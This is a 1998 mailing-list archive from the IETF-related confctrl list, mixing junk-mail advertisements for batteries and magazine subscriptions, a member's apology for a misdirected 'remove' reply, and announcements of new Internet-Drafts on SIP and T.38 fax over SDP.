>in this offer. 
>This  message is sent in compliance of the new e-mail bill: 
>SECTION 301.
>Sender: CELLPHONE BATTERY WAREHOUSE, 7810 Topanga cyn Blvd, 
>Canoga Park, 
>Ca 91304 ph: 818 207-9600 E-Mail Address: 
>cellular@webcre8tive.com 
>Per Section 301, Paragraph (a)(2)(C) of S.1618, further 
>transmissions 
>to you by the sender of this email may be stopped at no cost to 
>you by 
>ending a reply to this email address with the word "remove" in 
>the 
>subject line.  For additional information see: 
><http://www.senate.gov/~murkowski/commercialemail/EMailAmendText.
>html> 
>**********************************************************
> 
> 
> 
> 
> 
> 
>
>
---------------------------------------------------------------------------
Michael A. Dolan  TerraByte Technology  (619)445-9070    FAX: (619)445-6122
PO Box 1673 Alpine, CA 91903, Overnight: 20239 Japatul Rd, Alpine, CA 91901
URL:http://www.tbt.com

From confctrl-owner  Fri Dec 18 09:27:42 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA21581
	for confctrl-outgoing; Fri, 18 Dec 1998 09:27:42 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA21576
	for <confctrl@zephyr.isi.edu>; Fri, 18 Dec 1998 09:27:40 -0800 (PST)
Received: from mh2.cts.com (mh2.cts.com [209.68.192.68])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA10838
	for <confctrl@ISI.EDU>; Fri, 18 Dec 1998 09:27:39 -0800 (PST)
Received: from king.cts.com (root@king.cts.com [198.68.168.21]) by mh2.cts.com (8.8.7/8.8.5) with ESMTP id JAA28902 for <confctrl@ISI.EDU>; Fri, 18 Dec 1998 09:27:39 -0800 (PST)
Received: from crash.cts.com (root@crash.cts.com [192.188.72.17])
	by king.cts.com (8.8.7/8.8.7) with SMTP id JAA27819
	for <confctrl@ISI.EDU>; Fri, 18 Dec 1998 09:27:38 -0800 (PST)
Received: from nt by crash.cts.com with smtp
	(Smail3.1.29.1 #5) id m0zr3gO-0001BIC; Fri, 18 Dec 98 09:27 PST
Message-Id: <3.0.5.32.19981218092213.007bfc50@cts.com>
X-Sender: miked@cts.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.5 (32)
Date: Fri, 18 Dec 1998 09:22:13 -0800
To: confctrl@ISI.EDU
From: "Michael A. Dolan" <miked@tbt.com>
Subject: oops - remove
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Apologies to the list - just trying to get off the junk mail and didn't
notice the confctrl in my haste to reply.

FYI, not unexpectedly, the email to the junk mail author bounced...

	Mike

---------------------------------------------------------------------------
Michael A. Dolan  TerraByte Technology  (619)445-9070    FAX: (619)445-6122
PO Box 1673 Alpine, CA 91903, Overnight: 20239 Japatul Rd, Alpine, CA 91901
URL:http://www.tbt.com

From confctrl-owner  Fri Dec 18 11:51:13 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA27421
	for confctrl-outgoing; Fri, 18 Dec 1998 11:51:13 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA27414
	for <confctrl@zephyr.isi.edu>; Fri, 18 Dec 1998 11:51:11 -0800 (PST)
Received: from smtp4.ny.us.ibm.COM (smtp4.ny.us.ibm.com [198.133.22.43])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA22017
	for <confctrl@ISI.EDU>; Fri, 18 Dec 1998 11:51:10 -0800 (PST)
From: gregboop@us.ibm.com
Received: from southrelay01.raleigh.ibm.com (southrelay01.raleigh.ibm.com [9.37.3.208])
	by smtp4.ny.us.ibm.COM (8.8.7/8.8.7) with ESMTP id OAA05192;
	Fri, 18 Dec 1998 14:37:00 -0500
Received: from d54mta03.raleigh.ibm.com (d54mta03.raleigh.ibm.com [9.67.228.35])
	by southrelay01.raleigh.ibm.com (8.8.7/NCO v1.7) with SMTP id OAA16238;
	Fri, 18 Dec 1998 14:50:38 -0500
Received: by d54mta03.raleigh.ibm.com(Lotus SMTP MTA Internal build v4.6.2  (651.2 6-10-1998))  id 852566DE.006CFE19 ; Fri, 18 Dec 1998 14:50:29 -0500
X-Lotus-FromDomain: IBMUS
To: "Michael A. Dolan" <miked@tbt.com>, confctrl@ISI.EDU
Message-ID: <852566DE.006CFD35.00@d54mta03.raleigh.ibm.com>
Date: Fri, 18 Dec 1998 14:50:23 -0500
Subject: Re: oops - remove
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Apology accepted. It appears that multiple people have complained by
voice and email to the service that hosts the web site. The spammers
 website has been removed.

Best Regards,

- Greg Boop
   Mgr - VoIP Development
   IBM NHD
   RTP, NC, USA
   Phone (919)-254-0319
   gregboop@us.ibm.com



"Michael A. Dolan" <miked@tbt.com> on 12/18/98 12:22:13 PM

To:   confctrl@ISI.EDU
cc:    (bcc: Gregory Boop/Raleigh/IBM)
Subject:  oops - remove





Apologies to the list - just trying to get off the junk mail and didn't
notice the confctrl in my haste to reply.

FYI, not unexpectedly, the email to the junk mail author bounced...

     Mike

---------------------------------------------------------------------------
Michael A. Dolan  TerraByte Technology  (619)445-9070    FAX: (619)445-6122
PO Box 1673 Alpine, CA 91903, Overnight: 20239 Japatul Rd, Alpine, CA 91901
URL:http://www.tbt.com




From confctrl-owner  Tue Dec 22 13:30:35 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA01254
	for confctrl-outgoing; Tue, 22 Dec 1998 13:30:35 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA01249
	for <confctrl@zephyr.isi.edu>; Tue, 22 Dec 1998 13:30:33 -0800 (PST)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id NAA05518
	for <confctrl@isi.edu>; Tue, 22 Dec 1998 13:30:32 -0800 (PST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.8.5/8.8.7a) with ESMTP id QAA08521;
	Tue, 22 Dec 1998 16:29:56 -0500 (EST)
Message-Id: <199812222129.QAA08521@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-sdp-t38-00.txt,.ps
Date: Tue, 22 Dec 1998 16:29:55 -0500
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control 
Working Group of the IETF.

	Title		: SDP Extensions for Fax over IP Using T.38
	Author(s)	: E. Wedlund, W. Jiang, H. Schulzrinne
	Filename	: draft-ietf-mmusic-sdp-t38-00.txt,.ps
	Pages		: 4
	Date		: 16-Dec-98
	
         Fax over IP is currently using SMTP, i.e. the fax is sent
         as an e-mail.  It would be desireable to support a fax
         delivery that can return status of the transmission in
         real time, such as whether the phone number or address
         was correct, whether the remote side was busy, etc. The
         ITU is standardizing a protocol for transferring real
         time fax over IP, T.38.  This standard is meant to be
         used with the H.323 standard, but it is also possible to
         use it together with SIP, provided that SDP is extended
         to support the necessary parameters. This document
         defines extensions to SDP to support the use of T.38 for
         real-time fax.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mmusic-sdp-t38-00.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-sdp-t38-00.txt".

Internet-Drafts directories are located at:

	Africa:	ftp.is.co.za
	
	Europe: ftp.nordu.net
		ftp.nic.it
			
	Pacific Rim: munnari.oz.au
	
	US East Coast: ftp.ietf.org
	
	US West Coast: ftp.isi.edu

Internet-Drafts are also available by mail.

Send a message to:	mailserv@ietf.org.  In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-sdp-t38-00.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<19981222144349.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-sdp-t38-00.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-sdp-t38-00.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<19981222144349.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Sun Dec 27 22:40:06 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id WAA11092
	for confctrl-outgoing; Sun, 27 Dec 1998 22:40:06 -0800 (PST)
Received: from mail.wolf.net (wolf1.wolf.net [209.49.165.6])
	by zephyr.isi.edu (8.8.7/8.8.6) with SMTP id WAA11079
	for <confctrl@zephyr.isi.edu>; Sun, 27 Dec 1998 22:40:04 -0800 (PST)
Received: from [207.240.233.47] [207.240.233.47] by mail.wolf.net with ESMTP
  (SMTPD32-4.07) id ACE712601FE; Mon, 28 Dec 1998 00:53:43 EST5EDT
Message-Id: <v03010d46b2ac55caa8a6@[207.240.233.83]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Mon, 28 Dec 1998 00:28:06 -0400
To: Tempting Tear-Outs <tempting.tear-outs@wolf.net>
From: Tempting Tear-Outs <tempting.tear-outs@wolf.net>
Subject: 014 ===>> FREE 1 yr USA Magazine Sub sent worldwide-200+ Choices!
  Up to $50.00 value!
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

To be removed from our mailing list, send a blank email message, with the
subject of "remove" to:  tempting.tear-outs@wolf.net

--

FOR MORE INFO:   please "cut out" the below form on the "cut" lines shown,
and fax it, for the fastest reply to:                1-718-227-9125   (this
is a fax # in the USA)

or send via smail (first class mail or airmail) to:
                                         Tempting Tear-Outs
                                         Att. Free-catalogue-by-email Dept
                                         3835 Richmond Ave.  Suite #200
                                         Staten Island NY  10312-3828
                                         USA

SORRY, BUT.... our software is not set up to accept the below form via
return email;   WE CAN ONLY acknowledge forms sent in via fax or smail.

--> IMPORTANT complete directions, to ensure that you get a reply, and more
info follow, below the reply form and the catalogue options.


*------------cut here/begin-------------------------------------------*

Name (First Middle Last):
Internet email address:
Smail home address:
City-State-Zip:
Country:
Work Tel. #:
Work Fax #:
Home Tel. #:
Home Fax #:
Cellular (Mobile) Tel. #:
Beeper (Pager) Tel. #:

How did you hear about us (name of person/company who referred you or the
area of
the internet that you saw us mentioned in):  Referred by:  Tempting
Tear-Outs
0122798-l-aaa

Name of USA mags you currently get on the newsstand or in the store:

Name of USA mags you currently get on a subscription basis, through the mail:

Name of USA mags you would like price quotes on when we call you:

Catalogue version desired (list number of choice below):

*------------cut here/end--------------------------------------------*



CATALOGUE VERSION CHOICES:

1.  This version can be read by everyone, no matter what type of
     computer you use, or what type of software you use.  It is a simple
     format, with just our entire catalogue pasted into the body of a
     single email message, 316K in size.  If you use pine or elm on a unix
     system or an advanced software version such as Eudora Pro 3.0 or
     later, you will most likely receive it as a single email message.
     However, if your software limits incoming email messages to a
     certain size, say 32K or so, then your software will split it into
     multiple email message parts.   Whether you receive it as a single
     email message or multiple part email messages, you can easily
     paste it into one whole text document with your word processor, in
     about 10 minutes or so.
2.  For more advanced computer users:  attached plain ascii text file
     ~316K - you must know how to download an attached text file and
     then be able to locate it on your hard drive or system home
     directory;  it can then be opened with any pc or mac word processing
     software.  If in doubt, don't ask for this version.  This isn't for
     internet *newbies.* Better to order option 1 and spend a few minutes
     pasting them into one whole text document with your word processor,
     than to waste hours trying to figure how to deal with this option.
     This version is great for doing keyword searches and jumping around
     within the catalogue with your word processing software, if your
     normal email reading software doesn't allow this.


VERY IMPORTANT DIRECTIONS TO ENSURE THAT YOU GET A REPLY:

1.   you must call from an "unblocked number," ie. one that is not blocked
from caller id.  We are very sorry for this requirement, but our fax
software requires this before it allows an incoming fax call to connect.
If you have a blocked number, you must first unblock it.  In most cases
this means dialing *82 from a touch-tone phone (or 1182 from a rotary
phone) before you dial 1-718-227-9125.     NOTE:  If you are not sure if
your number is blocked, just try dialing our fax # normally.  If you don't
get a recording telling you your number is blocked, your number has been
transmitted and you may press the start button on your fax when you hear
the fax tone from our fax.
2.   no reply forms can be accepted by email....only via fax or smail.
3.   your form must be typewritten or printed out on your computer printer
before you fax it;  sorry, but *no* handwritten forms will be acknowledged.
If you can't find someone with a typewriter or a computer printer, we
apologize for not being able to reply to you.
4.   faxes with cover pages will be rejected.  You must send *only* the
reply form.
5.   forms not *completely* filled in will not be acknowledged.
6.   you will receive a reply within 1 business day directly from the
company making the offer via email.  Therefore you must have an email
address.  If you read this message, then you must have an email address, or
access to one, at least.   :-)
7.   your fax must not exceed 1 page in length.   Faxes of 2 or more pages
will be sensed, then auto-terminated and deleted.  Your fax goes directly
onto our 5.0 gigabyte hard drive and we must limit all incoming faxes to 1
page.
8.   all faxes must begin with:
*------------cut here/begin-------------------------------------------*
and must end with:
*------------cut here/end--------------------------------------------*
9. Any fax not conforming to this format will be sensed by our software,
then auto-terminated and deleted from the hard drive, before any human ever
gets to see it.
10. The type on your fax must be dark and legible.   If in doubt, please
print it out darker before faxing it in.  If we can't read it, we can't
reply to you or send you our FREE catalogue.     :-(
11.  If this all seems too complicated for faxing, just do it the old
fashioned way via smail!!!


WHO WE ARE:

Tempting Tear-Outs is an advertising company that brings potential new
customers to the companies they advertise for.

MORE ABOUT THE COMPANY MAKING THE FREE OFFER:

The company making the offer is a magazine subscription agency based in the
USA.  They have over 1,100 popular USA titles available to be shipped to
*any* country, including of course, to anywhere in the USA!    They offer a
FREE 1 yr. subscription to your choice of over 200 of the titles in their
catalogue to any new customer using them for the first time.       The
dollar value of the freebies, based on the subscription prices directly
from the publishers, ranges from $6.97 all the way up to $50.00!

For new customers in the USA, there is no charge for FPH (foreign postage &
handling), so the freebie is 100% free!   For new customers living
overseas, the only charge on the freebie would be for the FPH (foreign
postage & handling).

Their president has been in the magazine subscription business since 1973
and they are very customer-service oriented.   They will even help you with
address changes on your magazines, even if you move from one country to
another country.   They have thousands of happy customers in over 59
countries.

Their price guarantee is very simple:       they guarantee that their
subscription prices are the lowest available and they will BEAT any
legitimate, verifiable offer before you pay them or match it afterwards, by
refunding you the difference in price PLUS the cost of the postage stamp
you would use sending in the special offer to them, even 6 months after you
pay them, as long as it was current at the time of your offer.    Does that
sound fair?       Wouldn't it be great if everything you bought came with
that price guarantee?

Sometimes they are less than half of the next best deal out there,
sometimes just a little cheaper, but always you get the lowest rates
without having to shop around.     With 1,100+ titles on their list, they
would like to think that they have also the best selection around!

Within the USA, for their USA customers, they are cheaper than all their
competitors and even the publishers themselves.  This is their price
guarantee.         The 1 yr. freebie that you get with your first order is
completely free!

Overseas, (even after you factor in the cost of the FPH (foreign postage &
handling) and the conversion from USA Dollars to your currency), on the
average, they are generally around one-fourth to one-half of what the
newsstands overseas charge locally for USA magazines.  On some titles they
are as little as one-tenth of what the newsstands charge.  They are also
the cheapest subscription source for delivery overseas, including directly
from the publishers themselves!   Some publishers don't even offer
subscriptions overseas.........but overseas subscriptions are this
company's specialty!  They feel that magazines should not be a luxury
overseas.   In the USA, people buy magazines and then toss them after
reading them for just a few minutes or hours.  They are so cheap in the
USA!   Well, this company would like to make it the same way for their
overseas customers.  They are also cheaper than all their competitors in
the USA and overseas, including the publishers themselves!   It is also
*highly unlikely* you will find any of their USA competitors calling you
overseas, in order to offer that personal touch, just to sell you a couple
of magazines!  But that is what this company specializes in and loves
doing!     Around one-half their business comes from overseas, so they are
very patient with new customers who only speak limited English as a 2nd
language.    Subscription prices quoted for overseas consist of the
subscription price, plus the FPH.   You add the two together and that is
your total cost.   The exception is the 1 yr. freebie you get with your
first order.   On that title, you pay *only* the FPH for the 1 yr. term.

Their prices are so cheap because when you deal with them, you cut-out all
the middlemen.


HERE IS HOW YOU CAN GET MORE INFO AND GET STARTED WITH THEM:

Simply fax or smail back to us the reply form listed at the top of this
message.   We will then forward your form on to the subscription agency.
They will then email their "big and juicy" catalogue to you, in whichever
of the two formats you chose.   The catalogue is FREE and makes for hours
of fascinating reading, on its own. It includes the complete list of
freebies, a complete list of all the titles they sell, as well as detailed
descriptions on most of the titles, along with lists of titles by category
of interest and their terms of sale.

They will then give you a friendly, no-pressure, no obligation, 5-minute
call to go over how they work and to answer any questions that you might
have, as well as give you up-to-the minute price quotes on any titles you
might be considering.     They will call you in whatever country you live
in, taking the time difference into account.        As they like to
emphasize the personal touch they give to each new customer, all first-time
orders can only be done via phone, so they can answer all your questions
completely and personally.   Once you have placed your first order via
phone, you will be able to place future orders and make inquiries on your
account, get price quotes, etc., all via email, if that is most convenient
for you.

Within the USA, they accept payment via check over the phone, Mastercard,
Visa, American Express, Diner's Club and Carte Blanche.    Overseas, they
accept Mastercard, Visa, American Express, Diner's Club and Carte Blanche,
even if your credit card is a local one in local currency (that most
merchants in the USA would not normally be willing to accept).

That's our introduction of our client that we represent.   We hope that we
have piqued your interest and that you will take the next step to get their
free catalogue!   Thank you for your time and interest.

--
Tempting Tear-Outs.
For more info on advertising rates, please write us on your company
letterhead, w/business card, via smail to:   Tempting Tear-Outs, 3835
Richmond Ave. Suite #200, Staten Island NY  10312-3828, USA.



From confctrl-owner  Sun Dec 27 22:56:19 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id WAA11556
	for confctrl-outgoing; Sun, 27 Dec 1998 22:56:19 -0800 (PST)
Received: from mail.wolf.net (wolf1.wolf.net [209.49.165.6])
	by zephyr.isi.edu (8.8.7/8.8.6) with SMTP id WAA11551
	for <confctrl@zephyr.isi.edu>; Sun, 27 Dec 1998 22:56:15 -0800 (PST)
Received: from [207.240.233.19] [207.240.233.19] by mail.wolf.net with ESMTP
  (SMTPD32-4.07) id A06126F2016E; Mon, 28 Dec 1998 01:08:33 EST5EDT
Message-Id: <v03010d00b2acc1e93c6f@[internet.email]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Mon, 28 Dec 1998 01:04:44 -0400
To: Tempting Tear-Outs <tempting.tear-outs@wolf.net>
From: Tempting Tear-Outs <tempting.tear-outs@wolf.net>
Subject: 014 ===>> FREE 1 yr USA Magazine Sub sent worldwide-200+ Choices!
  Up to $50.00 value!
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

To be removed from our mailing list, send a blank email message, with the
subject of "remove" to:  tempting.tear-outs@wolf.net

--

FOR MORE INFO:   please "cut out" the below form on the "cut" lines shown,
and fax it, for the fastest reply to:                1-718-227-9125   (this
is a fax # in the USA)

or send via smail (first class mail or airmail) to:
                                         Tempting Tear-Outs
                                         Att. Free-catalogue-by-email Dept
                                         3835 Richmond Ave.  Suite #200
                                         Staten Island NY  10312-3828
                                         USA

SORRY, BUT.... our software is not set up to accept the below form via
return email;   WE CAN ONLY acknowledge forms sent in via fax or smail.

--> IMPORTANT complete directions, to ensure that you get a reply, and more
info follow, below the reply form and the catalogue options.


*------------cut here/begin-------------------------------------------*

Name (First Middle Last):
Internet email address:
Smail home address:
City-State-Zip:
Country:
Work Tel. #:
Work Fax #:
Home Tel. #:
Home Fax #:
Cellular (Mobile) Tel. #:
Beeper (Pager) Tel. #:

How did you hear about us (name of person/company who referred you or the
area of
the internet that you saw us mentioned in):  Referred by:  Tempting
Tear-Outs
0122798-l-aaa

Name of USA mags you currently get on the newsstand or in the store:

Name of USA mags you currently get on a subscription basis, through the mail:

Name of USA mags you would like price quotes on when we call you:

Catalogue version desired (list number of choice below):

*------------cut here/end--------------------------------------------*



CATALOGUE VERSION CHOICES:

1.  This version can be read by everyone, no matter what type of
     computer you use, or what type of software you use.  It is a simple
     format, with just our entire catalogue pasted into the body of a
     single email message, 316K in size.  If you use pine or elm on a unix
     system or an advanced software version such as Eudora Pro 3.0 or
     later, you will most likely receive it as a single email message.
     However, if your software limits incoming email messages to a
     certain size, say 32K or so, then your software will split it into
     multiple email message parts.   Whether you receive it as a single
     email message or multiple part email messages, you can easily
     paste it into one whole text document with your word processor, in
     about 10 minutes or so.
2.  For more advanced computer users:  attached plain ascii text file
     ~316K - you must know how to download an attached text file and
     then be able to locate it on your hard drive or system home
     directory;  it can then be opened with any pc or mac word processing
     software.  If in doubt, don't ask for this version.  This isn't for
     internet *newbies.* Better to order option 1 and spend a few minutes
     pasting them into one whole text document with your word processor,
     than to waste hours trying to figure how to deal with this option.
     This version is great for doing keyword searches and jumping around
     within the catalogue with your word processing software, if your
     normal email reading software doesn't allow this.


VERY IMPORTANT DIRECTIONS TO ENSURE THAT YOU GET A REPLY:

1.   you must call from an "unblocked number," ie. one that is not blocked
from caller id.  We are very sorry for this requirement, but our fax
software requires this before it allows an incoming fax call to connect.
If you have a blocked number, you must first unblock it.  In most cases
this means dialing *82 from a touch-tone phone (or 1182 from a rotary
phone) before you dial 1-718-227-9125.     NOTE:  If you are not sure if
your number is blocked, just try dialing our fax # normally.  If you don't
get a recording telling you your number is blocked, your number has been
transmitted and you may press the start button on your fax when you hear
the fax tone from our fax.
2.   no reply forms can be accepted by email....only via fax or smail.
3.   your form must be typewritten or printed out on your computer printer
before you fax it;  sorry, but *no* handwritten forms will be acknowledged.
If you can't find someone with a typewriter or a computer printer, we
apologize for not being able to reply to you.
4.   faxes with cover pages will be rejected.  You must send *only* the
reply form.
5.   forms not *completely* filled in will not be acknowledged.
6.   you will receive a reply within 1 business day directly from the
company making the offer via email.  Therefore you must have an email
address.  If you read this message, then you must have an email address, or
access to one, at least.   :-)
7.   your fax must not exceed 1 page in length.   Faxes of 2 or more pages
will be sensed, then auto-terminated and deleted.  Your fax goes directly
onto our 5.0 gigabyte hard drive and we must limit all incoming faxes to 1
page.
8.   all faxes must begin with:
*------------cut here/begin-------------------------------------------*
and must end with:
*------------cut here/end--------------------------------------------*
9. Any fax not conforming to this format will be sensed by our software,
then auto-terminated and deleted from the hard drive, before any human ever
gets to see it.
10. The type on your fax must be dark and legible.   If in doubt, please
print it out darker before faxing it in.  If we can't read it, we can't
reply to you or send you our FREE catalogue.     :-(
11.  If this all seems too complicated for faxing, just do it the old
fashioned way via smail!!!


WHO WE ARE:

Tempting Tear-Outs is an advertising company that brings potential new
customers to the companies they advertise for.

MORE ABOUT THE COMPANY MAKING THE FREE OFFER:

The company making the offer is a magazine subscription agency based in the
USA.  They have over 1,100 popular USA titles available to be shipped to
*any* country, including of course, to anywhere in the USA!    They offer a
FREE 1 yr. subscription to your choice of over 200 of the titles in their
catalogue to any new customer using them for the first time.       The
dollar value of the freebies, based on the subscription prices directly
from the publishers, ranges from $6.97 all the way up to $50.00!

For new customers in the USA, there is no charge for FPH (foreign postage &
handling), so the freebie is 100% free!   For new customers living
overseas, the only charge on the freebie would be for the FPH (foreign
postage & handling).

Their president has been in the magazine subscription business since 1973
and they are very customer-service oriented.   They will even help you with
address changes on your magazines, even if you move from one country to
another country.   They have thousands of happy customers in over 59
countries.

Their price guarantee is very simple:       they guarantee that their
subscription prices are the lowest available and they will BEAT any
legitimate, verifiable offer before you pay them or match it afterwards, by
refunding you the difference in price PLUS the cost of the postage stamp
you would use sending in the special offer to them, even 6 months after you
pay them, as long as it was current at the time of your offer.    Does that
sound fair?       Wouldn't it be great if everything you bought came with
that price guarantee?

Sometimes they are less than half of the next best deal out there,
sometimes just a little cheaper, but always you get the lowest rates
without having to shop around.     With 1,100+ titles on their list, they
would like to think that they have also the best selection around!

Within the USA, for their USA customers, they are cheaper than all their
competitors and even the publishers themselves.  This is their price
guarantee.         The 1 yr. freebie that you get with your first order is
completely free!

Overseas, (even after you factor in the cost of the FPH (foreign postage &
handling) and the conversion from USA Dollars to your currency), on the
average, they are generally around one-fourth to one-half of what the
newsstands overseas charge locally for USA magazines.  On some titles they
are as little as one-tenth of what the newsstands charge.  They are also
the cheapest subscription source for delivery overseas, including directly
from the publishers themselves!   Some publishers don't even offer
subscriptions overseas.........but overseas subscriptions are this
company's specialty!  They feel that magazines should not be a luxury
overseas.   In the USA, people buy magazines and then toss them after
reading them for just a few minutes or hours.  They are so cheap in the
USA!   Well, this company would like to make it the same way for their
overseas customers.  They are also cheaper than all their competitors in
the USA and overseas, including the publishers themselves!   It is also
*highly unlikely* you will find any of their USA competitors calling you
overseas, in order to offer that personal touch, just to sell you a couple
of magazines!  But that is what this company specializes in and loves
doing!     Around one-half their business comes from overseas, so they are
very patient with new customers who only speak limited English as a 2nd
language.    Subscription prices quoted for overseas consist of the
subscription price, plus the FPH.   You add the two together and that is
your total cost.   The exception is the 1 yr. freebie you get with your
first order.   On that title, you pay *only* the FPH for the 1 yr. term.

Their prices are so cheap because when you deal with them, you cut-out all
the middlemen.


HERE IS HOW YOU CAN GET MORE INFO AND GET STARTED WITH THEM:

Simply fax or smail back to us the reply form listed at the top of this
message.   We will then forward your form on to the subscription agency.
They will then email their "big and juicy" catalogue to you, in whichever
of the two formats you chose.   The catalogue is FREE and makes for hours
of fascinating reading, on its own. It includes the complete list of
freebies, a complete list of all the titles they sell, as well as detailed
descriptions on most of the titles, along with lists of titles by category
of interest and their terms of sale.

They will then give you a friendly, no-pressure, no obligation, 5-minute
call to go over how they work and to answer any questions that you might
have, as well as give you up-to-the minute price quotes on any titles you
might be considering.     They will call you in whatever country you live
in, taking the time difference into account.        As they like to
emphasize the personal touch they give to each new customer, all first-time
orders can only be done via phone, so they can answer all your questions
completely and personally.   Once you have placed your first order via
phone, you will be able to place future orders and make inquiries on your
account, get price quotes, etc., all via email, if that is most convenient
for you.

Within the USA, they accept payment via check over the phone, Mastercard,
Visa, American Express, Diner's Club and Carte Blanche.    Overseas, they
accept Mastercard, Visa, American Express, Diner's Club and Carte Blanche,
even if your credit card is a local one in local currency (that most
merchants in the USA would not normally be willing to accept).

That's our introduction of our client that we represent.   We hope that we
have piqued your interest and that you will take the next step to get their
free catalogue!   Thank you for your time and interest.

--
Tempting Tear-Outs.
For more info on advertising rates, please write us on your company
letterhead, w/business card, via smail to:   Tempting Tear-Outs, 3835
Richmond Ave. Suite #200, Staten Island NY  10312-3828, USA.



From confctrl-owner  Mon Dec 28 07:25:33 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA28078
	for confctrl-outgoing; Mon, 28 Dec 1998 07:25:33 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA28073
	for <confctrl@zephyr.isi.edu>; Mon, 28 Dec 1998 07:25:31 -0800 (PST)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA21582
	for <confctrl@isi.edu>; Mon, 28 Dec 1998 07:25:30 -0800 (PST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.8.5/8.8.7a) with ESMTP id KAA20366;
	Mon, 28 Dec 1998 10:24:56 -0500 (EST)
Message-Id: <199812281524.KAA20366@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-sip-11.txt,.ps
Date: Mon, 28 Dec 1998 10:24:56 -0500
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control Working Group of the IETF.

	Title		: SIP: Session Initiation Protocol
	Author(s)	: M. Handley, H. Schulzrinne,E. Schooler,J. Rosenberg
 	Filename	: draft-ietf-mmusic-sip-11.txt,.ps
	Pages		: 150
	Date		: 16-Dec-98
	
The Session Initiation Protocol (SIP) is an application-layer control
(signaling) protocol for creating, modifying and terminating sessions with one or more participants. These sessions include Internet multimedia conferences, Internet telephone calls and multimedia distribution. Members in a session can communicate via multicast or via a mesh of unicast relations, or a combination
of these.
 

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mmusic-sip-11.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-sip-11.txt".

Internet-Drafts directories are located at:

	Africa:	ftp.is.co.za
	
	Europe: ftp.nordu.net
		ftp.nic.it
			
	Pacific Rim: munnari.oz.au
	
	US East Coast: ftp.ietf.org
	
	US West Coast: ftp.isi.edu

Internet-Drafts are also available by mail.

